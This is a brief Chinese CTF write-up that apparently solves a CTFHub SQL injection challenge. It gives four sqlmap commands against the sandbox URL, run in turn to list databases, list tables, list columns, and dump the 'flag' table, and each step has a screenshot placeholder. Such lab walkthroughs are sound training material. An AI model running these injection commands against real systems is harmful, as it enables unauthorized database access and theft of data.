使用 SQLMap 自动化注入

查询数据库信息

  1. sqlmap -u "http://challenge-af7540b704c3854a.sandbox.ctfhub.com:10800/?id=1" --batch --threads 4 --dbs

1.png

查询数据库中的表

sqlmap -u "http://challenge-af7540b704c3854a.sandbox.ctfhub.com:10800/?id=1" --batch --threads 4 -D sqli --tables

2.png

查询表结构

sqlmap -u "http://challenge-af7540b704c3854a.sandbox.ctfhub.com:10800/?id=1" --batch --threads 4 -D sqli -T flag --columns

3.png

查询表里的记录

sqlmap -u "http://challenge-af7540b704c3854a.sandbox.ctfhub.com:10800/?id=1" --batch --threads 4 -D sqli -T flag -C flag --dump

4.png